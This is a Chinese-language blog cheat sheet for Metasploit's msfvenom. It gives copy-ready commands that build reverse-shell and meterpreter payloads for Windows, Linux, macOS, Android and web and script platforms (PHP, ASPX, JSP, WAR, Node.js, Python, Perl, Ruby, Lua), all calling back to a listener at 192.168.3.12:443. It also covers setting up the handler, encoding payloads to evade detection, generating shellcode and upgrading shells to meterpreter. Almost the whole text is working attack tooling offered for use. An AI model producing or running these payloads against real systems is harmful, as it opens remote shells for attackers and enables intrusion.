msfvenom手册

目录

0x01 msfvenom 常规选项

0x02 创建监听器,等待shell回连

 0x03 实例创建各类系统平台下的payload:

windows 平台

powershell

linux 平台

mac 平台,没实际测试

android平台

php 脚本

aspx 脚本

jsp 脚本

war包,找个能部署war包的地方,如各类java控制台,部署一下即可执行

nodejs

python

perl

ruby

lua

0x04 利用wireshark观察不同协议下的payload的细节:

bind类型

reverse类型

32位

64位

0x05 生成不同平台下的shellcode

win平台shellcode

linux平台shellcode

mac平台shellcode

0x06 将普通类型的shell升级为meterpreter:



0x01 msfvenom 常规选项

-l  列出所有可用的payload,编码器,空指令……
-p  指定要使用的msf的payload,也可以使用自定义payload,几乎是支持全平台的
-f  指定payload输出的文件类型,--help-formats,可查看支持的所有输出格式
-e  指定要使用那种编码器
-i  指定编码的次数,如果使用编码器
-b  指定坏字符,比如空字符截断问题,等等……
-x  使用一个自定义可执行程序模板,并将payload嵌入其中
-k  当模板被执行时,payload自动分离并注入到新的进程中,一般和-x选项一并使用
-o  指定创建好的payload的存放位置

0x02 创建监听器,等待shell回连

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lport 443
msf > set lhost 192.168.3.12
msf > exploit -j

 0x03 实例创建各类系统平台下的payload:

windows 平台

# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=443 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o x86_shell.exe

powershell

# msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.3.12 LPORT=443 -e cmd/powershell_base64 -i 3 -f raw -o x86_shell.ps1

linux 平台

# msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=443 -f elf -o x86_shell

mac 平台,没实际测试

# msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.12 LPORT=443 -f macho -o x86_shell.macho

android平台

# msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=443 -f apk -o x86_shell.apk

基于各类web脚本,对于此类的web脚本触发执行方法非常简单,直接在url中访问该脚本即可

php 脚本

# msfvenom --platform PHP -p php/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=443 -f raw -o x86_shell.php

aspx 脚本

# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=443 -f aspx -o x86_shell.aspx

jsp 脚本

# msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.3.12 LPORT=443 -f raw -o x86_shell.jsp

war包,找个能部署war包的地方,如各类java控制台,部署一下即可执行

# msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.3.12 LPORT=443 -f raw -o x86_shell.war

基于其它各类脚本的payload,说几个实战中可能会碰到的语言环境

nodejs

# msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.3.12 LPORT=443 -f raw -o x86_shell.js

python

# msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=443 -f raw -o x86_shell.py

perl

# msfvenom -p cmd/unix/reverse_perl LHOST=192.168.3.12 LPORT=443 -f raw -o x86_shell.pl

ruby

# msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.3.12 LPORT=443 -f raw -o x86_shell.rb

lua

# msfvenom -p cmd/unix/reverse_lua LHOST=192.168.3.12 LPORT=443 -f raw -o x86_shell.lua

0x04 利用wireshark观察不同协议下的payload的细节:

bind类型

windows/meterpreter/bind_tcp
windows/meterpreter/bind_tcp_rc4
windows/meterpreter/bind_hidden_tcp

reverse类型

windows/meterpreter/reverse_tcp
windows/meterpreter/reverse_tcp_dns
windows/meterpreter/reverse_tcp_rc4
windows/meterpreter/reverse_tcp_rc4_dns
windows/meterpreter/reverse_http
windows/meterpreter/reverse_https

32位

windows/meterpreter/bind_tcp

64位

windows/x64/meterpreter/reverse_tcp

0x05 生成不同平台下的shellcode

win平台shellcode

# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=443 -f c

linux平台shellcode

# msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=443 -f c

mac平台shellcode

# msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.12 LPORT=443 -f c

0x06 将普通类型的shell升级为meterpreter:

post/multi/manage/shell_to_meterpreter

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小韩韩啊

你的鼓励是对我最大的支持

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值